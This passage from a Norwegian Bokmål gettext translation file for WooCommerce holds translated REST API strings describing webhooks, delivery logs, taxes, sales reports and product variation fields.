#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:686
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhooks-v2-controller.php:154
msgid "The date the webhook was created, in the site's timezone."
msgstr "Dato da webhook'en ble opprettet, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:681
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhooks-v2-controller.php:149
msgid "Secret key used to generate a hash of the delivered webhook and provided in the request headers. This will default to a MD5 hash from the current user's ID|username if not provided."
msgstr "Hemmelig nøkkel som brukes til å generere en hash av levert webhook og gitt i request headers. Dette vil som standard være en MD5 hash fra den gjeldende brukerens ID | brukernavn hvis ikke gitt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:674
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhooks-v2-controller.php:142
msgid "The URL where the webhook payload is delivered."
msgstr "Nettadressen der webhook-nyttelasten leveres."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:665
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhooks-v2-controller.php:133
msgid "WooCommerce action names associated with the webhook."
msgstr "WooCommerce handlingsnavn assosiert med webhook'en."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:659
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhooks-v2-controller.php:127
msgid "Webhook event."
msgstr "Webhook-hendelse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:653
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhooks-v2-controller.php:121
msgid "Webhook resource."
msgstr "Webhook-ressurs."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:68
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:648
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhooks-v2-controller.php:116
msgid "Webhook topic."
msgstr "Webhook-emne."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:641
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhooks-v2-controller.php:109
msgid "Webhook status."
msgstr "Webhook-status."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:636
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhooks-v2-controller.php:104
msgid "A friendly name for the webhook."
msgstr "Et vennlig navn på webhook'en."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:403
msgid "Webhook topic must be valid."
msgstr "Webhook-emnet må være gyldig."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:343
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:412
msgid "Webhook delivery URL must be a valid URL starting with http:// or https://."
msgstr "Webhook-ens nettadresse for levering må være en gyldig nettadresse som begynner med http:// eller https://."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:338
msgid "Webhook topic is required and must be valid."
msgstr "Webhook-emnet er påkrevd, og må være gyldig."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:293
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhook-deliveries-v2-controller.php:137
msgid "The date the webhook delivery was logged, in the site's timezone."
msgstr "Dato da webhook-leveringen ble loggført, i nettsidens tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:287
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhook-deliveries-v2-controller.php:131
msgid "The response body from the receiving server."
msgstr "Responstekst fra mottakende server."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:278
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhook-deliveries-v2-controller.php:122
msgid "Array of the response headers from the receiving server."
msgstr "En rekke med respons-headere fra mottakende server."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:272
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhook-deliveries-v2-controller.php:116
msgid "The HTTP response message from the receiving server."
msgstr "HTTP-responsmelding fra mottakende server."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:266
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhook-deliveries-v2-controller.php:110
msgid "The HTTP response code from the receiving server."
msgstr "HTTP-responskoden fra mottakende server."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:260
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhook-deliveries-v2-controller.php:104
msgid "Request body."
msgstr "Request body."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:251
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhook-deliveries-v2-controller.php:95
msgid "Request headers."
msgstr "Request headers."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:244
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhook-deliveries-v2-controller.php:88
msgid "The URL where the webhook was delivered."
msgstr "Nettadressen der webhook-en ble levert."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:238
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhook-deliveries-v2-controller.php:82
msgid "A friendly summary of the response including the HTTP response code, message, and body."
msgstr "Et leselig sammendrag av responsen, inkludert HTTP-responskode, melding og tekst."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:232
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhook-deliveries-v2-controller.php:76
msgid "The delivery duration, in seconds."
msgstr "Leveringstiden, i sekunder."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:122
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:147
msgid "Invalid webhook ID."
msgstr "Ugyldig webhook-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:759
msgid "Sort by tax class."
msgstr "Sortér etter avgiftsklasse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:688
msgid "Indicates the order that will appear in queries."
msgstr "Indikerer rekkefølgen som vil brukes i spørringer."
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:682
msgid "Whether or not this tax rate also gets applied to shipping."
msgstr "Hvorvidt dette er enavgiftssats som også skal legges til for frakt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:676
msgid "Whether or not this is a compound rate."
msgstr "Hvorvidt dette er en sammensatt avgiftssats."
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:670
msgid "Tax priority."
msgstr "Avgiftsprioritet."
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:665
#: src/Admin/API/Reports/Taxes/Controller.php:131
msgid "Tax rate name."
msgstr "Navn på avgiftssats."
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:660
#: src/Admin/API/Reports/Taxes/Controller.php:137
msgid "Tax rate."
msgstr "Avgiftssats."
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:650
msgid "Postcode / ZIP."
msgstr "Postnummer."
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:645
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:329
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-countries-controller.php:226
msgid "State code."
msgstr "Statskode."
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:640
msgid "Country ISO 3166 code."
msgstr "Landets ISO 3166 kode."
#: includes/rest-api/Controllers/Version1/class-wc-rest-tax-classes-v1-controller.php:311
msgid "Tax class name."
msgstr "Navn på avgiftsklassen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-tax-classes-v1-controller.php:216
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:495
msgid "Taxes do not support trashing."
msgstr "Avgifter kan ikke legges i papirkurven."
#: includes/rest-api/Controllers/Version1/class-wc-rest-reports-v1-controller.php:163
#: src/Admin/API/Reports/Controller.php:208
msgid "A human-readable description of the resource."
msgstr "En beskrivelse av ressursen leselig for mennesker."
#: includes/rest-api/Controllers/Version1/class-wc-rest-reports-v1-controller.php:157
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-coupons-totals-controller.php:121
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-customers-totals-controller.php:132
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-orders-totals-controller.php:107
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-products-totals-controller.php:111
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-reviews-totals-controller.php:110
#: src/Admin/API/Reports/Controller.php:202
msgid "An alphanumeric identifier for the resource."
msgstr "En alfanumerisk identifisering for ressursen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-reports-v1-controller.php:82
msgid "List of top sellers products."
msgstr "Liste over bestselgere."
#: includes/rest-api/Controllers/Version1/class-wc-rest-reports-v1-controller.php:78
msgid "List of sales reports."
msgstr "Liste over salgsrapporter."
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-top-sellers-v1-controller.php:164
msgid "Total number of purchases."
msgstr "Totalt antall kjøp."
#. translators: %s: date format
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-sales-v1-controller.php:389
msgid "Return sales for a specific end date, the date need to be in the %s format."
msgstr "Returnerer salg til en gitt sluttdato. Datoen må være i %s format."
#. translators: %s: date format
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-sales-v1-controller.php:381
msgid "Return sales for a specific start date, the date need to be in the %s format."
msgstr "Returnerer salg fra en gitt startdato. Datoen må være i %s format."
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-sales-v1-controller.php:373
msgid "Report period."
msgstr "Rapportperiode."
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-sales-v1-controller.php:350
msgid "Totals."
msgstr "Summer."
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-sales-v1-controller.php:344
msgid "Group type."
msgstr "Gruppetype."
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-sales-v1-controller.php:338
msgid "Total of coupons used."
msgstr "Sum av brukte rabattkoder."
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-sales-v1-controller.php:332
msgid "Total of refunded orders."
msgstr "Sum av refunderte ordre."
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-sales-v1-controller.php:326
msgid "Total charged for shipping."
msgstr "Sum belastet for frakt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-sales-v1-controller.php:320
msgid "Total charged for taxes."
msgstr "Totalt belastet for avgifter."
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-sales-v1-controller.php:314
msgid "Total of items purchased."
msgstr "Totalt antall kjøpte varer."
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-sales-v1-controller.php:308
msgid "Total of orders placed."
msgstr "Totalt opprettede ordre."
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-sales-v1-controller.php:302
msgid "Average net daily sales."
msgstr "Gjennomsnittlig daglig nettosalg."
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-sales-v1-controller.php:296
msgid "Net sales in the period."
msgstr "Netto salg i perioden."
#: includes/rest-api/Controllers/Version1/class-wc-rest-report-sales-v1-controller.php:290
msgid "Gross sales in the period."
msgstr "Bruttosalg i perioden."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2640
msgid "Limit result set to products with a specific SKU."
msgstr "Avgrens resultat til produkter med et spesifisert produktnummer."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2634
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2381
msgid "Limit result set to products with a specific attribute term ID (required an assigned attribute)."
msgstr "Avgrens resultat til produkter med en gitt attributt-term-ID (krever et tilknyttet attributt)."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2628
msgid "Limit result set to products with a specific attribute."
msgstr "Avgrens resultat til produkter med et gitt attributt."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2622
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2369
msgid "Limit result set to products assigned a specific shipping class ID."
msgstr "Avgrens resultat til produkter tilknyttet en gitt fraktklasse-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2616
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2363
msgid "Limit result set to products assigned a specific tag ID."
msgstr "Avgrens resultat til produkter tilknyttet en gitt stikkord-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2610
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2357
msgid "Limit result set to products assigned a specific category ID."
msgstr "Avgrens resultatet til produkter som tilhører en bestemt kategori-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2603
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2338
#: src/StoreApi/Routes/V1/Products.php:271
msgid "Limit result set to products assigned a specific type."
msgstr "Begrens resultat til produkter av en gitt type."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2596
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2331
#: src/Admin/API/ProductsLowInStock.php:525
#: src/Admin/API/ProductsLowInStock.php:546
msgid "Limit result set to products assigned a specific status."
msgstr "Avgrens resultat til produkter assosiert til en gitt kategori."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2590
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2325
msgid "Limit result set to products with a specific slug."
msgstr "Begrens resultat til produkter med et gitt identifikator."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2571
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:1024
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2278
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:854
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1783
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1789
msgid "Menu order, used to custom sort products."
msgstr "Menyrekkefølge, brukes til egendefinert sortering av produkter."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2562
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2270
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1774
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1780
msgid "List of grouped products ID."
msgstr "Liste over grupperte produkters ID'er."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2489
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:942
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:777
msgid "Variation image data."
msgstr "Variantens bilde data."
#. translators: %s: dimension unit
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2471
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:924
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:759
msgid "Variation height (%s)."
msgstr "Variantens høyde (%s)."
#. translators: %s: dimension unit
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2465
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:918
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:753
msgid "Variation width (%s)."
msgstr "Variantens bredde (%s)."
#. translators: %s: dimension unit
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2459
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:912
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:747
msgid "Variation length (%s)."
msgstr "Variantens lengde (%s)."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2453
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:906
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:741
msgid "Variation dimensions."
msgstr "Variantens dimensjoner."
#. translators: %s: weight unit
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2448
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:901
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:736
msgid "Variation weight (%s)."
msgstr "Variantens vekt (%s)."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2441
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:894
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:724
msgid "Shows if the variation is on backordered."
msgstr "Viser hvorvidt varianten er satt i restordre."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2422
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:875
msgid "Controls whether or not the variation is listed as \"in stock\" or \"out of stock\" on the frontend."
msgstr "Styrer hvorvidt varianten er oppført som «På lager» eller «Utsolgt» i nettbutikken."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2411
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:864
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:693
msgid "Stock management at variation level."
msgstr "Lagerstyring på variantnivå."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2356
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:809
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:638
msgid "If the variation is downloadable."
msgstr "Hvis varianten er nedlastbar."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2350
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:803
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:632
msgid "If the variation is virtual."
msgstr "Hvis varianten er virtuell."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2339
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:797
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:626
msgid "Shows if the variation can be bought."
msgstr "Viser om en variant kan kjøpes."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2333
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:785
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:611
msgid "Shows if the variation is on sale."
msgstr "Viser om varianten er på salg."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2318
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:760
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:586
msgid "Variation sale price."
msgstr "Variantens tilbudspris."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2313
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:755
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:581
msgid "Variation regular price."
msgstr "Variantens ordinære pris."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2307
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:749
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:575
msgid "Current variation price."
msgstr "Variantens gjeldende pris."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2295
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:737
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:558
msgid "Variation URL."
msgstr "Variantens nettadresse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2289
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:726
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:547
msgid "The date the variation was last modified, in the site's timezone."
msgstr "Dato for siste endring av varianten, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2283
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:720
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:541
msgid "The date the variation was created, in the site's timezone."
msgstr "Dato da varianten ble opprettet, i nettstedets tidssone."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2277
msgid "Variation ID."
msgstr "Variant-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2270
msgid "List of variations."
msgstr "Liste over varianter."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2262
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2551
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:1016
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2253
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:846
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1757
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1763
msgid "Selected attribute term name."
msgstr "Valgt navn på attributt-term."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2245
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2236
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1740
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1746
msgid "Defaults variation attributes."
msgstr "Standard variantattributter."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2237
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2225
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1729
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1735
msgid "List of available term names of the attribute."
msgstr "Liste over tilgjengelige term-navn for attributtet."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2231
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2219
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1723
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1729
msgid "Define if the attribute can be used as variation."
msgstr "Angi om attributtet kan brukes som variant."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2225
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2213
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1717
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1723
msgid "Define if the attribute is visible on the \"Additional information\" tab in the product's page."
msgstr "Velg om attributtet er synlig på \"Tilleggsinformasjon\"-fanen på produktsiden."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2220
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2208
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1712
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1718
msgid "Attribute position."
msgstr "Attributtposisjon."
#: includes/cli/class-wc-cli-runner.php:114
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2210
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2252
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2541
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:1006
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2198
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2243
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:836
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1702
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1747
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1708
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1753
msgid "Attribute ID."
msgstr "Attributt-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2203
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2534
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:999
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2191
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:829
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1695
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1701
msgid "List of attributes."
msgstr "Liste over attributter."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2195
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2527
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:992
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2183
msgid "Image position. 0 means that the image is featured."
msgstr "Bildeposisjon. 0 betyr at bildet er fremhevet."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2155
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2131
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1634
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1640
#: src/StoreApi/Schemas/V1/ItemSchema.php:132
#: src/StoreApi/Schemas/V1/ProductSchema.php:183
msgid "List of images."
msgstr "Liste over bilder."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2146
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2122
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1625
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1631
msgid "Tag slug."
msgstr "Stikkord-identifikator."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2135
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2111
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1614
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1620
msgid "Tag ID."
msgstr "Stikkord-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2128
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2104
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1607
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1613
msgid "List of tags."
msgstr "Liste over stikkord."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2119
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2095
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1571
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1577
msgid "Category slug."
msgstr "Kategori-identifikator."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2108
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2084
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1560
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1566
#: src/Admin/API/Reports/Categories/Controller.php:123
msgid "Category ID."
msgstr "Kategori-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2101
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2077
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1553
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1559
msgid "List of categories."
msgstr "Liste over kategorier."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2096
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2072
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1548
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1554
msgid "Optional note to send the customer after purchase."
msgstr "Valgfritt notat som kan sendes kunden etter kjøp."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2091
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2067
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:885
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1543
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1549
#: src/Admin/API/ProductVariations.php:180
#: src/Admin/API/Reports/Stock/Controller.php:372
msgid "Product parent ID."
msgstr "Produktets foreldre-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2083
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:2059
